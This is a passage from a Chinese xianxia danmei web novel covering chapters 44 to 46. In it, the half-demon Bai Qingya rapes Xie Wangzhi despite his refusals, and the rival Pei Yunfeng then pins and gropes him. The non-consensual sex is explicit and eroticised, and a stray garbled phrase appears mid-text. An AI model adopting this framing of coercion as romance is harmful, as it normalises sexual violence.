未想到,白青崖忽然回过头看他,目光灼灼,随即反手攥住他,猛地倾身,将他压倒在藤椅上。 谢妄之猝不及防躺倒,双手都被人攥着按在头顶两侧,不由微微一怔,下意识抬头。 只见白青崖神色认真,双目紧盯着他,低声道:“那就与我结契。” 说着,对方牵起他的手,把脸颊置在他掌中,偏头轻蹭了蹭,又在他掌心轻轻一吻。 外衣下摆向身侧散开,露出后腰垂坠的毛绒绒的尾巴。毛发蓬松,色泽乌黑亮丽,左右摇摆着,尾巴末梢在他身上轻轻扫动,勾引似的,隔着衣裤传来微微的痒。 对方垂眸看他,眼神炽热而湿润,续道:“与我结契,到时你想怎么玩,玩多久,都随你。” “……也是道侣契么?”谢妄之心下一沉,忍不住微微挣扎着要把手抽回来。 对方动作一顿,随即猛地收拢五指,强硬攥着他的手腕,唇角微勾,眼中却毫无笑意,轻声道:“也?还有谁要与你结道侣契?你答应他了?” “没有。” 谢妄之摇头,继续挣扎,但对方不肯松手。他有些恼了,蹙紧眉冷声道:“放开。” “我……抱歉。” 白青崖微微一怔,很快松开手,眸光黯淡下来,毛绒绒的兽耳与尾巴都可怜兮兮地耷拉着,紧盯着他哑声问:“你不是说了喜欢吗?为什么不愿意与我结契?” “……”谢妄之有些心虚,不由抿紧嘴唇,又下意识避开白青崖的视线。 “为什么?”白青崖眼神微暗,不依不饶,显得有些咄咄逼人,“就算我不介意你有别人,你也不愿意与我结契吗?” 谢妄之仍是沉默,余光却瞥见对方神色委屈,甚至泪盈于睫,模样好似与前几日的裴云峰重叠,心口不由微微一颤,只好搜肠刮肚道:“我没说不愿意,只是还不到时候,先让我考虑一下。” 不知有没有听出他的搪塞之意,白青崖抿唇沉默地看他片刻,眼神愈发暗沉,但也终于不再追问,俯下身把头埋进他颈窝里,双臂搂紧他的腰,喉里低应了声“嗯”。 谢妄之微舒口气,任人抱了一会儿,仰头看见天色渐暗,忽然想到裴云峰今日出去了,不知还会不会回来,心里莫名有些慌乱,不由伸手轻推了推白青崖的肩膀,“你起来吧。” 未想到,平日温驯的小狗在此时竟不肯听话了,非但没有起身,还将身躯整个压下来,将他抱得更紧,甚至偏头在他脖子上吮吻。 “等会儿,你先起来。”侧颈传来湿热酥痒,谢妄之微微瑟缩着躲避,又推了推对方的肩膀,没推动,只好道:“咱们去屋里吧,在这里像什么话。” “为什么不行?”白青崖直起身看他,双眼微微眯起,猝然勾唇冷笑,“难道这里还会有谁来么?譬如裴云峰?” “没有,怎么会。青天白日的,你不会害羞么?”谢妄之干笑两声,摇头否认,“而且这次裴云峰好像还没回来吧?” 他不知道白青崖见过裴云峰没有,不敢说多。所幸白青崖只是拧眉看他一会儿,到底并未追究,随即站起身,将他打横抱起往屋里去。 “放开,我自己能走!” 谢妄之挣扎着要下地,但对方抱得又紧又稳,他不用灵力根本挣不开,只好作罢,直到脊背陷进柔软床褥。 白青崖将他放在床榻,鼻翼忽然轻轻翕动,似乎嗅到不同寻常的气味,双耳机敏竖起,唇边肌肉微微抽动,露出尖锐犬齿,神色狰狞凶狠。 但一瞬之后,他又强自捺下,恢复正常,随即除去外衣鞋袜,也顺手帮了谢妄之,跟着上榻。紧接着便向谢妄之的腰伸手,指尖拈住衣带往外一拉。 对方动作如行云流水,衣襟当即松散,在胸口快与温凉空气接触时,谢妄之忽然想到什么,慌忙坐起身,重新拢住衣襟。 “怎么?” 白青崖微微蹙眉,一双眼眸幽幽发绿,脸颊比在外头时红了很多,喘息也变得粗重。 似乎无法再忍耐了,动作变得急躁,没在这种小事上坚持,不等谢妄之反应,说完便倾身吻住他,一手箍住他后脑,另一手探向他身下。 “等……”谢妄之睁大眼,下意识把人按住,另手推着对方胸膛,挣扎着往后缩。 谢妄之三番两次推拒,若放在平日,白青崖自己委屈一下就算了,但现在的他很难保持理智,而且谢妄之先前已经答应,他顿时觉得不耐不满,不由眉头紧蹙。 他又把人推倒进床褥,身躯压下,双膝顶入对方腿间,同时伸手探入衣下。 “唔……” 分明他根本没用力,手指轻轻一触,躺在身下的人却像是受了什么刺激,身躯猛然一抖,又挣扎着拽开他的手,不停往后缩。 谢妄之撇开头躲避白青崖的亲吻,喘息着道:“不、不用管我,我帮你就好。”说着就要坐起身。 “我想和你一起。”白青崖眉头蹙得更深,强把人按住,又要伸手。 未想到,谢妄之沉下脸,猛然挥手将他打开,“我说了不用!” “……” 手背被打得火辣刺痛一片,白青崖不由微眯起眼,紧盯着谢妄之,双眸幽绿暗沉,本来轻轻摇摆的狼尾都安静垂下。 空气一时沉寂,仿佛山雨欲来,谢妄之瞅着对方的表情,立时又心虚起来,默了会儿便主动向人伸出手,“我帮你就好。” 未想到,他的手掌伸到半途便被人攥住手腕,连着另一只手也被箍住,一齐压在他头顶。 白青崖单手就牢牢箍着他两只手,紧接着,另一手毫不犹豫掀开他的衣襟。 只见华庭中大片红梅盛放,从胸到腹,顽劣的游人肆意刻下自己的行迹,为其吟诗赋词,落款是明晃晃几枚深浅不一的牙印。 而他方才只是轻轻触碰的地方,梅花更是开得艳丽,殷红馥郁,比别处挺立饱满。 胸口猝然接触大片温凉空气,谢妄之不由微微一抖,抬眼见白青崖双目紧盯着他的胸膛,眼神愈发暗沉,顿时更加心虚,下意识挣扎着往后缩。 才往后挪了半寸,立时被人箍着腰拖回去。随即,胸口覆上一片温热。 “唔……” 对方毫不留情,谢妄之不由发抖,挣扎着挺起身,僵了一瞬又往下落,拼命左躲右闪却逃不出,只好喘息着哑声哀求:“别,别这样。” 这两日,裴云峰与他同榻同枕,假借帮他梳理灵力之由,对他肆意妄为。 不光是白青崖弄的这处,连他一向抗拒的也险些彻底沦陷失守,他直到现在都后悔开这个口。 偏偏还行之有效,令他拒绝不得,最多是再赏人几个耳光,却也只是让对方更兴奋。 “呵。这几日,你不愿见我,却愿意和裴云峰做这种事吗?” 白青崖勾唇冷笑,动作不停,甚至愈加过分。他眯起眼,幽绿双眸冰冷暗沉,闪过猩红血色,身上妖气陡然发散,浓稠黑雾瞬间盈满整个屋宇,把人牢牢围困其中。 他俯下身,亲昵地用鼻尖来回蹭了蹭谢妄之,嗓音低柔,语气却如刀刃锋锐,“谢妄之,你既然把我当狗,怎么还把我的鼻子当摆设?你以为我闻不到吗?” 说着,白青崖猛然低头在谢妄之的脖颈一咬,尖锐犬齿瞬间刺破他的皮肤。 “呃——” 仿佛要被咬穿咽喉般传来剧痛,湿热粘稠的液体淌出,顺着脖颈往下滑,一丝血腥气钻入鼻腔。谢妄之猝不及防,不由浑身僵住,不敢挣扎,连呼吸都凝滞。 好一会儿之后,对方才将他松开,伸舌轻轻舔舐自己咬出的伤口,像是安抚,又像是一种警告,酥痒与刺痛交织传来。接着又抬起身,想吻他的唇。 等到对方松口,谢妄之才敢大口呼吸,随即感觉到类似被背叛、被威胁的愤怒。 此时见对方低头,他猛地撇过头避开,又挣扎起来,抬腿踹向对方,咬牙切齿道:“我不想帮你了,滚出去!” “谢、谢妄之!” 白青崖动作一顿,陡然慌乱,却不肯将他松开,双手用力将他锢住。又下意识讨好他,偏过头用脸颊和耳朵蹭他,甚至伸过毛茸茸的尾巴,在他身上轻扫。 面前的身躯坚硬如磐石,谢妄之不由动用灵力挣扎,可没一会儿,浑身经脉与丹田处又传来烧灼刺痛感,下意识又卸了力,却更加恼火,毫不留情斥了声“滚”。 “……” 见讨好撒娇无用,再加上被拒绝结契,所谓的“偏爱”全都是笑话,一直以来的担忧恐慌终于成了现实,白青崖只觉胸口像是被一只手掌掐住,浑身僵硬,呼吸都凝滞。 与此同时,又有一种如释重负感,令他想笑。 而谢妄之见对方像是呆怔住,力道松懈些许,忙趁势挣脱,手肘撑着床面往后缩,又翻过身想逃下床。 下一刻,他的脚踝被人捉住,往回大力一扯,他整个人便被拖了回去,随即,脊背贴上一具炽热身躯。 对方俯下身,脸颊埋在他的颈窝里,双臂紧圈着他的腰,一手覆上他胸口,另一手往下摸索。 紧接着,空气中传来一阵裂帛声响,他的腿根陡然接触冰凉空气,又贴上一片热烫,蓬松柔软的尾巴在肌肤上轻扫。 “白青崖!” 谢妄之瞳孔骤缩,下意识动用灵力激烈挣扎,全身经脉的烧灼刺痛一瞬强烈。 他紧咬着牙强自忍耐,可触电般的酥痒蔓延开来,又令他浑身发抖,腰眼发酸发麻,使不上力。而且对方抱得太紧,最后竟挣不开丝毫。 “这张榻上,他的气息很浓,令人作呕。”白青崖一面动作,一面覆在他耳畔轻声开口,“我听说他几日前便回来了,却一直不见他,原来是和你在一起么?” 原来他早看出谢妄之在说谎。 “唔……” 对方说着,手上力道猛然加重。谢妄之不由腰肢塌软,又强撑着跪起身,双手攥紧床褥,手臂青筋浮起,肌肉线条起伏鲜明。 “你们是怎么做的?像这样么?”白青崖轻咬着他的耳垂与侧颈,尖锐犬齿抵着他的肌肤来回磨蹭,“还是更进一步?” “……” 对方这句一下勾起谢妄之的回忆,那种仿佛能侵蚀骨肉的酥痒似乎还残留在身上,令他浑身一抖,又紧咬着牙憋住声音,颌角微鼓。脸颊微微发汗,双鬓都湿润。 两人贴得那样近,白青崖立即察觉到他的异样,唇边肌肉再次不受控地抽动起来,露出尖锐犬齿,神色狰狞而凶狠。一双幽绿眼眸透出猩红之色,在黑暗中熠熠发亮,叫人脊背湿润发寒。 周身妖气愈加浓郁,漆黑浓稠的雾气将谢妄之笼罩其中,如有实质。他伸出手,声音冷得仿佛能掉下冰渣,“他碰过这里了?” “白青崖!” 谢妄之瞳孔颤动收缩,强撑着又挣扎起来,手肘支撑着往前爬动,却阻不住细密酥痒顺着尾椎攀爬,腰肢又塌软下去,不由颤着声咬牙切齿道:“你不是说过,若是我不愿意,你就不做么?” “唔……” 对方沉默,片刻,谢妄之才刚直起一些的腰立时又塌下去。 “我是说过。但是……呵。”白青崖猝然冷笑,猛地低头在他后颈咬了一口,牙齿叼着他的皮肉来回厮磨,“为什么他可以,我不行?” 话音落下,对方抵上他。 “没有!——”谢妄之瞳孔骤缩,骇得失声惊叫,激烈挣扎起来,嗓音低哑发颤,不住摇着头,“他没有!白青崖,他没有,别……” “是么?” 白青崖停住,毛茸耳朵精神一抖,尾巴也跟着轻轻一摇。 他将谢妄之拥得更紧,偏头在人侧颈吮吻,呼吸愈加炽热粗重,似是更加兴奋,又轻舔了舔犬齿,跃跃欲试的模样,“那我是第一个么?” 才微微松懈些许的谢妄之,闻言顿时浑身僵硬发冷,下意识颤声追问:“什、什么?” 对方并未答话,只低头又咬住他的后颈,犬齿一瞬刺破皮肤。 紧接着,谢妄之被猛地一撞,整个人陷进床褥。 他瞪大眼,浑身僵住,面色煞白,随后濒死一般激烈挣扎,疯狂往前爬动,却被拖回去,压得更紧,双手十指在床褥上抓出鲜明褶皱。 对方一手紧锢着他的腰,另手覆上他的手背,纤长五指强硬嵌入他的指缝,用力攥紧,白皙手背浮起道道青筋,兴奋鼓动。 后颈皮肤被咬破,刺痛蔓延开来,血液渗出,顺着脖颈往下淌,传来湿热粘稠的触感,又被人伸舌轻轻舔去。 外来者疯狂侵占原属于他的领土,身体仿佛被一寸寸剥离血肉,拆去筋骨,又被一点点拼凑、聚拢。却全不是自己的,只感觉到陌生、僵硬与麻木。 他不住挣扎,却被尽数压下。脊背肌肉翕张,如山峦连绵起伏,晶莹汗水在沟壑中积蓄、流淌。 幔帐垂在身侧,随着床榻摇动不住晃荡,如水面般泛起波光。 直到此时他才明白,狼就是狼,即便装得像一条狗。 谢妄之垂着头,盯着床褥,却觉视野一片朦胧,眼眶发酸发烫,不知是汗还是泪的湿热水迹淌过脸颊与下颌。身体不住发麻发抖,却拼命咬着唇憋住,直到渗出血珠。 而身后人彻底兴奋,像是发了疯,不住吮吻着自己咬出的伤口,又一遍遍喊着“谢妄之”,喘息炽热粗重。 谢妄之渐渐有些撑不住,索性俯下身,额头抵着自己的胳膊,微闭双目。 却被捞起来、扳过下颌,湿热的舌舔过他的眼角与脸颊,又侵入他的唇齿。 他不由蹙眉,在人舌上重重一咬,弥漫开的血腥气却愈发刺激对方。他被掳进对方的地盘,只得张着嘴,收不回,涎水都来不及吞咽,化作银丝淌出嘴角。 直到白青崖终于止住,却还脱不开,双臂将他紧搂住,不停压着他亲吻,渐渐又起了势。 谢妄之面色陡沉,撇过头避开。白青崖微微拧眉,不依不饶地扣着他的下颌,扳过他的脸又要吻下来。 “呵。” 在双唇即将触上时,谢妄之忽然嗤笑了声,双目紧盯着白青崖,一字一句清晰道:“枉我救了你,畜生就是畜生。” 第44章 你对天立誓会与我结契。…… 畜生。 已经好几年没有人敢再这样骂白青崖。 在白家,其实他半妖的身份不是秘密。 他是半妖,年幼时法力不够,化不了完全的兽形,也变不成完整的人身。 那时候他的人身,模样相当丑陋可怖,完全不是像现在这样能够大体保持人形,只露出耳朵和尾巴。 在他还无法完全化成人形的时候,他不被允许踏出住处一步。 奴仆每日来给他送吃食,都将一个铁制的小盆子放在地上,一面扬声叫他“小畜生”,一面伸脚踢一踢铁盆的边沿,盆底摩挲着地面发出刺耳的响。 他们经常收不住力,铁盆会被踢翻,混合在一起的残羹剩菜统统撒出,汤汤水水流了一地,却也不给他送新的。 于是他只能像条真正的畜生,趴到地上去,用舌头舔。凉凉的,还混着土腥气,根本尝不出什么味儿。 连他身上穿的、用的,也都是别人剩的、不要了的,要么就干脆没有。 他只配得到这些东西。 直到他能完全化成兽形后,那些奴仆们开始惧怕他,不再来给他送东西。当然,也没人再看管他,他终于可以出去。尽管能填饱肚子的东西很有限,但比之前好上一些,他已经满意。 可又不知是谁在外头撞见过他的兽形,传播家里藏了只大妖的流言,引得时常有人来他的栖息地“猎妖”,他只得东躲西藏。 当然,后来他们知道是他,也不肯放过,时常找他麻烦。来白家游学的外族人听说此事,也各个都想一探究竟。 他一直在躲,独自舔舐伤口。分明是在家里,却好像在流浪。 直到谢妄之救下他,抱他去医馆治伤,还亲手喂了他一块糕点。崭新干净的,还冒着热气的,尝起来甜甜的。 若是换做年幼时,他一定会克制不住自己,疯狂地摇起尾巴。 别人见到他的兽形,要么是恐惧退后,要么是向他举起武器。只有谢妄之蹲下身,张开双臂拥住他,温柔地抚摸他。 只有谢妄之玉文盐喜爱他,偏爱他,不把他当作“畜生”。 于是他像条狗一样,本能地追在谢妄之身后。 他不记得自己从什么时候开始觊觎,他只是愈发贪婪,想离得再近一点,奢求有朝一日能站在对方身边,同时疯狂嫉妒着能一直待在对方身边的裴云峰。 直到今时今刻,谢妄之骂他“畜生”。 谢妄之骂完,白青崖不由睁大眼,双目一瞬湿润发红,呼吸也凝滞,而后猛地低下头,将脸埋在谢妄之的颈窝里。 像是刻意憋着,喷洒在他颈窝里的热气有一阵没一阵,又深深地呼吸,直到终于崩溃,气息陡然中断,变得紊乱粗重,从喉里发出一声短促的呜咽。 “呜……别人,都能叫我‘畜生’,只、只有你……” 白青崖微微哽咽,声音低哑断续得不成语句。与此同时,他的侧颈与肩膀肌肤淋下一阵热烫的雨,仿佛也淋在心上,勉强浇熄了一半怒火。 可说出的话收不回。 谢妄之抿着唇沉默了会儿,低声道:“你现在下去,我就当什么都没发生。” 话音落下,圈在腰间的双臂猛然收拢,紧到让人发痛。白青崖没应声,只不住摇着头,湿润的脸颊来回蹭着他的皮肤,连发顶的毛茸耳朵都轻轻转动,蹭着他的耳廓。 被蹭得有些痒,谢妄之忍不住偏过头躲避,又蹙眉叫了声:“白青崖,下——” “不要!不要,不要……不要好不好?”白青崖将他打断,脸颊却埋得更深,声音愈加低哑沉闷,“我想要你,我只想要你,你分明说了要帮我的……” “那我不是要帮你?”谢妄之眉头蹙得更深。 “那、那为什么这样不行?”白青崖猛地将他翻过面,双目紧盯着他,目光灼灼,又往下滴落泪珠,嘴唇微扁,“是因为我做得没有裴云峰好,让你觉得不舒服么?” 不等谢妄之答话,白青崖说着忽然探手往下摸,直到指尖触上一片湿润,神色顿时更加委屈,“可是你不是已经——” “闭嘴!”谢妄之微微睁大眼,继而恼羞成怒,猛地低斥了声将对方打断,又抬腿一踹,“滚下去!” “谢妄之……”白青崖不闪不避,被踹开些又凑过来,双手搂紧他,不停用脸颊与耳朵讨好地蹭他,尾巴也缠着他的腿,“那你喜欢什么样的,我去学好不好?” 对方缠着他不停撒娇,状似浑然不觉地磨着他。谢妄之只觉身上又泛起热与痒,不由愈加羞恼,猛地伸手把人推开,咬牙切齿道:“出去!” 白青崖却不肯动,睁着一双湿漉漉的眼睛看他,嘴唇微扁,发顶茸耳轻轻抖动,毛发在他颈窝里蹭时被泪水濡湿些许,黏连了几簇。 “……别以为你这样我就会心软!”谢妄之与人对视了会儿,忍不住撇过头。 他可算是发现了,这几人,各个都爱哭,还一个比一个难缠! “谢妄之,”白青崖又垂下头蹭他,不停啄吻他的脸颊与嘴唇,“我会让你舒服的,好不好?” 说着,床榻又微微摇晃,空气里响起粘稠水声。 “你!”谢妄之睁大眼,身体不由自主发起抖,一时又羞又恼,没忍住扬手甩了白青崖一记耳光,“滚!” 对方被他打得偏过头,又很快转过脸看他。接着不知是想到什么,又或许是发生了什么,发顶茸耳轻轻一抖,随即,脸上的委屈褪得干净,神色一瞬凶狠,唇边肌肉抽动着露出獠牙。 谢妄之扇耳光时方止住些,瞬间又变得激烈。 “白、白青崖!唔——” 谢妄之瞪大眼,手肘撑着床面不停挣扎着往后缩。却被牢牢锢着腰,双手也被箍着压在头顶。又挣扎着踢蹬双腿,却被人用肩膀卡着膝弯,反落入更难堪的境地。 他拼命咬紧嘴唇憋住,白青崖却像是发了疯,强硬迫他出声,又低下头在他脖颈吮吻、啃咬,弄得他脖子一片紫红,不由咬牙切齿地怒骂:“白青崖你疯了?!” “我想知道,为什么裴云峰可以?”白青崖微微喘息着,又伸舌舔吻他的脸颊与嘴唇,像一条狗,弄得他脸上湿漉漉一片,“就算他没有,也就差一步吧?与我又有什么区别?你为什么会答应他?” 谢妄之撇过头,不打算说,却被强硬扳过下颌,与那双幽绿的眼眸对视,脑中忽然灵光一闪。 坏了,与白青崖磋磨这么长时间,裴云峰该不会要回来了吧。而白青崖忽然又提起裴云峰,莫不是方才察觉到了什么动静…… 正想着,窗外忽然传来一些声音。 “白、白青崖……”谢妄之仿佛惊弓之鸟,顿时瞳孔一缩,浑身僵住,脊背湿冷,声音都发颤,“停下,停下……” “回答我。”白青崖不依不饶。见他还在犹豫,眼眸微眯,猛地加重。 “唔——” 谢妄之登时睁大了眼,又拼命挣扎,却如砧板鱼肉,上身挺起僵直一瞬又落下,胸膛剧烈起伏,汗水涔涔,似浇了层蜜,嘴唇被自己咬得血迹斑斑。 “够、够了!”不过片刻,谢妄之便撑不住,将自己的身体情况说了。说话间,对方仍继续着,令他的声音断续颤抖,“他只是帮我、帮我梳理灵力……” 闻言,白青崖神色微怔,发顶茸耳却轻轻抖动,尾巴也摇晃,接着便垂下头亲昵地蹭他、吻他,“谢妄之,我也可以帮你。” 说着,对方的灵力便从相贴处传来。 大概这一次接触比从前任何一次灵修都要亲密,效果也是最好。 身体触电般发麻发抖,谢妄之不由挣扎得更厉害,四肢却酸软使不上力,被人紧紧按住,又被缠着吮吻。 耳畔粗重喘息与粘稠水声交织,仿佛盖过了一切,连神思都变得混沌,谢妄之浑然不觉,此时此刻,屋外当真传来足音。 而白青崖嗅觉灵敏,听觉更甚,早就觉察裴云峰正往这处过来,非但不肯停下,反弄得更加过分。 他居高临下,眯着眼欣赏谢妄之此时此刻的模样,阴暗地翻出记忆里第一次发热期见到的对比。 那时与裴云峰在一起的谢妄之,此刻正躺在他身下,无论如何都逃不脱。 浑身湿透,仿佛从水里捞出,肌肤因情/热泛出诱人的粉。双眸都湿润,脸颊与耳廓染上艳丽绯色,眼角不断滑下湿痕。里外都被他标记,染上他的气息,好像已经变成他的。 什么不介意谢妄之有别人,这话说出来自己都觉得好笑。 他才不想和谁共享。 既然谢妄之喜欢狗,他就当狗。 他只是愿意当狗,又不是真的狗。 足音愈发近了,也愈发清晰。 他看见谢妄之偏头望向屋门的位置,陡然挣扎得更激烈,平日总是张扬自信的脸,此刻写满恐慌惊惧,颤抖着嗓音求他停下,鼻音明显。 却因过于紧张,身体紧绷着,令他十分舒适,继而本能地追逐愉悦,愈发疯狂。 白青崖一面在心底谴责自己仿佛小人得志,过去所有的阴暗想法在此时此刻冒出,迫不及待想要践行,一面遵从想法,强按住谢妄之,故意俯下身用脸颊蹭着对方撒娇,道: “我想让他看见。” 最好是看得一清二楚。 “白青崖,你疯了!?” 谢妄之瞳孔骤缩,羞怒交加,拼命挣扎着却始终逃不脱,甚至被弄得快要崩溃。 对方并不接话,只是一意孤行,略微放松了些力道,却一直追着他,令他的头颅顶上坚硬的床璧,退无可退,还被震得发晕。 在他试图攀上去时,对方又将他抱坐起来,手臂紧圈着他的腰,仰头向他索吻,在他不肯时用另手强压下他的后脑。 唇舌纠缠间,短短几息,屋外的足音几乎近在咫尺。 谢妄之怕得发抖,不停挣扎着要起身,却被箍着腰。颠簸间,他的双臂不由自主紧攀着对方肩膀保持平衡,十指在人背上抓挠出大片红痕。 “……除了这个!”他终于被弄到崩溃,趁着对方放松之际,猛地偏头避开亲吻,哑声哀求,“除了这个,别的要求我都答应你,好不好?” 白青崖本要将他按回来,闻言动作一顿,发顶的茸耳跟着轻轻一抖,双目一瞬发亮。并未思考太久,紧接着便道:“你对天立誓,十日之内会与我结道侣契。” “这……”谢妄之神色一怔。 而白青崖见他还要犹豫,当即眼眸微眯,一瞬凶狠,迫他仰头出声。 与此同时,屋门被大力推开。 第45章 我为什么发疯,你说呢?…… 闻见屋门撞上门框的轰响,谢妄之陡然僵住,随即濒死般激烈挣扎,腰间的桎梏却愈发牢靠,身体动弹不得。 肚腹再次胀得发痛,仿佛体内器官都被挤压扭曲得错位变形,令他窒息反胃。 余光瞥见榻前屏风映出一道颀长身影时,谢妄之瞳孔骤缩,却被白青崖按着后脑亲吻。 直到裴云峰终于绕到榻前,浑身灵力暴动,紫色的电光犹如一条长龙在周身游走,墨发与衣袂猎猎鼓动翻飞。眼眸暗沉如渊,却有紫色电光流窜。额角与脖颈青筋突起,神色阴鸷骇人。 他双手攥紧,指骨捏得咯吱作响,透过垂下的幔帐,紧盯着两人相叠的朦胧身影,咬牙切齿一字一顿道:“放开他。” 未想到,面前二人置若罔闻。他捺不住,灵力一瞬倾泻如洪,却又在伤及无辜之前强行收回。 但垂下的幔帐仍被强大气劲掀飞,朦胧景象一瞬清晰。 紧密,浑浊,糜艳。 他顿时僵住,目眦欲裂,视野充斥猩红之色。胸口剧烈抽痛,几欲令他窒息。还未反应过来,身体已自发行动,大步上前,抓着两人肩膀狠狠撕扯开来。 虽是分离,却如藕断丝连,唇舌间架起一座银亮的桥。 而谢妄之还坐在白青崖身上。 他发疯一般要把人抱起来,未想对方激烈挣扎,伸手不住推他,低哑着嗓音喊“疼”,含着细弱哭腔。而白青崖也紧箍着谢妄之的腰。 意识到什么,他不由僵住,转头看向白青崖。 对方也恰好看他,微勾了一下唇角,神色餍足,低声说了句“等一会儿”,嗓音带着慵懒的哑。 接着竟是旁若无人地低头,舔吻谢妄之脖子上的伤口。 “白青崖!” 裴云峰气得发抖,声音像是从牙缝里艰难挤出,又转头看谢妄之。 却见对方撇过头,只给自己留一个背影,冷漠开口说一句“出去”,声音仍低哑。 浑身大汗淋漓,乌发凌乱半披,发梢被濡湿些许,黏着肌肤,仍遮不住满身绯红与青紫交错,脖颈明晃晃好几个牙印,有的还在渗血。而白青崖顺着往下吻,脸颊埋进他胸口,他竟放任不管。 “你!……你,好得很。” 视野瞬间朦胧,裴云峰咬牙咬得腮帮发痛,双手攥紧,指尖深陷掌心,一缕殷红溅落地面。他自嘲地扯了扯唇角,来回看了两人一眼,甩袖离去。 待屋内沉寂下来,谢妄之猛地把白青崖推开,扬手狠狠甩了对方一记耳光。 他力道毫不收敛,清脆的响在屋中回荡。对方被他打得偏过头,脸颊高高肿起,掌印清晰,唇角也滑下一道血线。 却不见恼,神色平静地转脸看他,眼神暗得发沉。竟若无其事地又凑过来,想吻他,同时伸手掌住他后脑,强硬往下按。 “白青崖!?” 谢妄之不可置信地睁大了眼,难以言喻的屈辱与愤怒盈满心胸,又掺着几分恐惧与焦虑,身体不由发起抖,脊背湿润发寒。 他感觉到有什么东西正在脱离他的掌控。 而他扯不住缰绳。 幸好,白青崖又吻他片刻终于舍得将他松开。 谢妄之起身,垂眼见到床褥一片狼藉,对方本来蓬松的尾巴毛也被濡湿,面色登时青红交错,忍不住想再扇对方一巴掌,又怕重新把人惹兴奋,只好强压下不满。 他下了榻,双腿一瞬脱力,险些跪在地上。白青崖忙要过来扶他,他一巴掌拍开对方,兀自拾起散落的衣物擦拭。 擦了几遍,仍觉浑身黏腻肮脏,他愈发恼火,猛地将衣物掷在地上,五指一握,冰蓝色的大火瞬间将脏污的东西烧得灰也不剩。又微微向后侧过头,视线落在对方左右摇晃的尾巴上,眼睛不悦眯起。 未想那条尾巴竟挑衅似的摇得更欢。 “滚出去!!”谢妄之气得发抖,甚至有些头晕目眩,忍无可忍抬手指向屋门。 所幸这条狗也明白见好就收,知道不能惹主人更生气,很快退出去。 沐浴了好几遍,快把自己皮都搓破的谢妄之,马不停蹄写了封退学申请,不想见裴云峰,便另外差人把信送过去。 裴云峰毕竟是此次游学的助教,退学必须经过对方同意。 但其实不管裴云峰同不同意,谢妄之都决意要走,退学申请书还在路上,他已经收拾好行李往出走。 谅他姓“谢”,应该没人敢拦。 未想到,白家看门的狗还真就不肯放他,一脸冷峻地守着结界不让靠近。 谢妄之蹙眉,正欲强行突破结界,身后忽传来一阵足音。他闻声回头,正见两个白家人恭敬上前,称裴云峰请他到静室。 “不去。”谢妄之眉头蹙得更深,冷漠丢下一句,随即召剑在手。 下一刻,身后便传来裴云峰的声音:“谢二公子。” “……”谢妄之陡然浑身一僵,但没有回头。 对方继续道:“谢二公子着急要走,可是外头有什么人在等着?” 谢妄之神色一怔,下意识摸了摸自己方才特意换上的高领衣裳,抿唇沉默片刻,终于把剑收回,却愈发烦躁。 他只想着走,倒是忘记了,外头两个可不比这里边的好对付多少。若是让他们知道此事,不知会发生什么。池无月看得见,他藏不了。司尘又会幻术,他根本抵不住。 而就算他想绕开,独自回去谢家,可路途上若是他心障发作,再遇到什么事…… ……坏了,还有个池越。这是他最不想面对的。 这可真是,前有狼,后有虎。 思来想去,谢妄之不由头疼地抬手轻捏了下眉心,回头看向裴云峰,问道:“你要做什么?” “谢二公子想要退学,”大概是因为有外人在,裴云峰单手负在背后,笑得和善,端得是温润如玉,眼中却冰冷嘲讽,十足道貌岸然,“身为助教,当然要好好劝一劝。” “……” 谢妄之不由蹙眉,纵使心里千百个不愿意,到底跟人去到静室。 等屋门阖上,四下无人,裴云峰立即褪去伪装,阴沉着脸回头,猛地伸手攥住他的肩膀往门板上一推,倾身压了下来。 谢妄之忙撇过头避开,对方的吻便落在他脸侧。 掐着肩膀的五指一瞬收拢,仿佛要捏碎他的肩骨,传来剧痛。谢妄之当即不悦地沉下脸,毫不客气伸手把人推开,冷声道:“没事发什么疯?” “呵。” 裴云峰一顿,猝然冷笑,猛地伸手按在门板,发出一声轰响,双臂撑在他头颅两侧,身躯又凑近些,把他围困在坚硬门板与对方胸膛营出的狭小空间内。 接着又凑近些,炽热粗重的气息几乎喷在他脸上,双眸紧盯着他,隐约闪过紫色电光,咬牙切齿地反问:“我为什么发疯,你说呢?” “……” 似乎因为对方离得太近,空气好像也被挤压得稀薄,令谢妄之生出几分难受窒息,只得抿唇不语,连视线也撇开。 下颌立即被人紧攥住,强硬扳过他脸颊,迫使他与人对视。 那双眼中,紫色电光激烈流窜,不断迸出刺目花火,却渐渐覆上一层朦胧水雾。眉心紧拧着,长睫不住颤动,眼眶红得艳丽,一副受了天大委屈的模样。 却勾唇冷笑,说的话也锋锐刺骨:“一直说什么不肯,到头来,不过是被我用手帮过几次,这就食髓知味了,我一不在就迫不及待找上野男人了吗?” “裴云峰!”谢妄之瞳孔骤缩,一时羞怒交加、怒不可遏,猛地扇了对方一巴掌,气得浑身发抖,头晕目眩,声音也发颤。 “难道不对吗?”对方被他打得偏过头,又转过脸看他,唇角弧度略略扩大些,眼中嘲讽之意更甚,“招蜂引蝶,水性杨花,便是最下贱的娼/妓都没有谢二公子放荡吧?” “你……” 谢妄之微微睁大眼,羞怒更甚,胸膛一瞬起伏剧烈,浑身经脉又开始灼烧般刺痛。他强捺下,又高扬起手。 可一巴掌还未落下去,对方便将他的手腕紧紧掐住。他使力挣扎,未想对方此时手劲大得出奇,仿佛要捏碎他的腕骨,竟令他动弹不得。 于是他伸了另一手,未想也被人攥在手里。最后两只手腕都被人箍住,一齐压在他头顶。 裴云峰单手锢住他,另一手探入他衣襟,看他的眼神愈发暗沉刺骨。 “唔……”谢妄之忍不住发起抖,弓起身子,“松手!” 裴云峰动作不停,低头覆在他耳边,咬牙切齿道:“他让你这么舒服吗?见到我了,还不肯停?” 第46章 我何时说过心悦你了?…… 闻言,谢妄之愈加恼怒,几乎是气昏头,竟冷笑了声,脱口道: “是啊,我和他好端端的,你偏要进来做什么?满意你见到的,呃——” 不等他把话说完,裴云峰猛然用力,令他憋不住叫出了声。 “闭嘴!”裴云峰咬牙切齿,直起身看他,双眸中电光迸溅,神色狠厉,额角与脖颈青筋突出,下手毫不留情。 “唔……” 谢妄之咬牙忍耐,抬眸睨了对方一眼,勾唇继续嘲讽道:“不过是让你碰了几次,你就以为这是你的专属特权了?你有什么资格这样对我?” “我——” 裴云峰陡然睁大眼,身体僵住,呼吸停滞一瞬后变得紊乱粗重,像是预感到什么,怕得身体发起抖,嗓音低哑地哀求,“谢、谢妄之,别说了……” “呵。”谢妄之冷笑,不肯放过他,压低嗓音一字一句道:“裴云峰,我与你是什么关系?我何时说过心悦你了?你未免把自己看得太重了,我再是放荡,又与你何干?” 